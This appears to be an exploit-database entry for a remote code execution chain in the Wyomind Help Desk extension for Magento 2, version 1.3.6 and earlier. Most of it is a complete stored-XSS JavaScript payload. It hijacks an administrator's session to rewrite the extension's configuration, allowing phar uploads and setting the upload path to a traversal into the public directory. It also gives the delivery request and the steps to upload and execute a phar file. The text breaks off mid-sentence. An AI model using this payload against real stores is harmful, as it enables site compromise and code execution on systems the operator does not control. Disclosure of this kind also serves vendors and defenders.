Exploits / Vulnerability Discovered : 2021-07-08 |
Type : webapps |
Platform : multiple
This exploit / vulnerability Wyomind help desk 1.3.6 remote code execution (rce) is for educational purposes only and if it is used you will do on your own risk!
The Mangento 2 Help Desk extension from Wyomind up to and including version 1.3.6 is vunerable to stored XSS, directory traversal and unrestricted upload of a dangerous file type. These vulnerabilites combined could lead to code execution.
A XSS payload can be sent via the ticket message from the front-end in the 'Support - My tickets' section.
The payload is triggered when an administrator views the ticket in the Magento 2 backend. The following request enable
the delivery of the XSS payload:
POST /helpdesk/customer/ticket_save/ HTTP/1.1
Host: <redacted>
Content-Type: multipart/form-data; boundary=---------------------------243970849510445067673127196635
Content-Length: 683
Origin: https://<redacted>
Connection: close
Referer: https://<redacted>/helpdesk/customer/ticket_view/
Cookie: <redacted>
Upgrade-Insecure-Requests: 1
The following XSS payload shown below can be used to trigger
1) Enabling file attachments in ticket messages
2) Adding 'phar' to allowed file extensions
3) Setting the attachment directory to 'helpdesk/files/../../../pub'
<script>
function successListener(e) {
var doc = e.target.response
var action=doc.getElementById('config-edit-form').action;
function submitRequest()
{
var formKey = FORM_KEY;
var xhr = new XMLHttpRequest();
xhr.open("POST", action, true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------14303502862141221692667966053");
xhr.withCredentials = true;
var body = "-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"form_key\"\r\n" +
"\r\n" +
formKey + "\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_license]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_general]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][enabled][value]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][log][value]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][default_email][value]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][default_status][value]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][pending_status][value]\"\r\n" +
"\r\n" +
"2\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][closed_status][value]\"\r\n" +
"\r\n" +
"3\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[general][fields][ticket_prefix][value]\"\r\n" +
"\r\n" +
"10000\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][fields][menu_label][value]\"\r\n" +
"\r\n" +
"Support - My Tickets\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][fields][top_link_enabled][value]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][fields][attachments][value]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_frontend_attachments_settings]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_extension][value]\"\r\n" +
"\r\n" +
"jpeg,gif,png,pdf,phar\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_directory_path][value]\"\r\n" +
"\r\n" +
"helpdesk/files/../../../pub\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_upload_max_filesize][value]\"\r\n" +
"\r\n" +
"2M\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[frontend][groups][attachments_settings][fields][attachments_post_max_size][value]\"\r\n" +
"\r\n" +
"4M\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails_customer_settings]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][confirmation_enabled][value]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][confirmation_content][value]\"\r\n" +
"\r\n" +
"Dear {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n" +
"Your message has been sent to the support team.\r\n" +
"Here is the message content:\x3cbr/\x3e\r\n" +
"\"{{message}}\" \x3cbr/\x3e\x3cbr/\x3e\r\n" +
"Kind Regards,\r\n" +
"The Support Team.\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][notification_enabled][value]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[emails][groups][customer_settings][fields][notification_content][value]\"\r\n" +
"\r\n" +
"Hello {{customer_firstname}},\x3cbr/\x3e\x3cbr/\x3e\r\n" +
"Your ticket \"{{ticket_object}}\" (#{{prefixed_id}}) has been updated.\r\n" +
"Please login to your account via this link in order to see the new message: {{customer_account_link}}\x3cbr/\x3e\x3cbr/\x3e\r\n" +
"Regards,\r\n" +
"The Support Team.\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"config_state[wyomind_helpdesk_emails_support_team_settings]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[emails][groups][support_team_settings][fields][notification_enabled][value]\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------14303502862141221692667966053\r\n" +
"Content-Disposition: form-data; name=\"groups[emails][groups][support_team_settings][fields][notification_content][value]\"\r\n" +
"\r\n" +
"You received a new message from a customer.\r\n" +
"-----------------------------14303502862141221692667966053--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
}
var request = new XMLHttpRequest();
request.onload = successListener;
request.responseType = 'document';
request.open('GET', document.querySelector('[data-ui-id="menu-wyomind-helpdesk-configuration"]').querySelector('a').href, true);
request.send();
</script>
After the XSS payload is executed, it is possible to upload a phar file by attaching files to ticket messages. Upon successful upload, the uploaded files can be requested to trigger the execution of it by requesting
ticketId and messageId can be identified after sending the ticket message with the attached phar file. The ticketId is visible in the
URL, for example: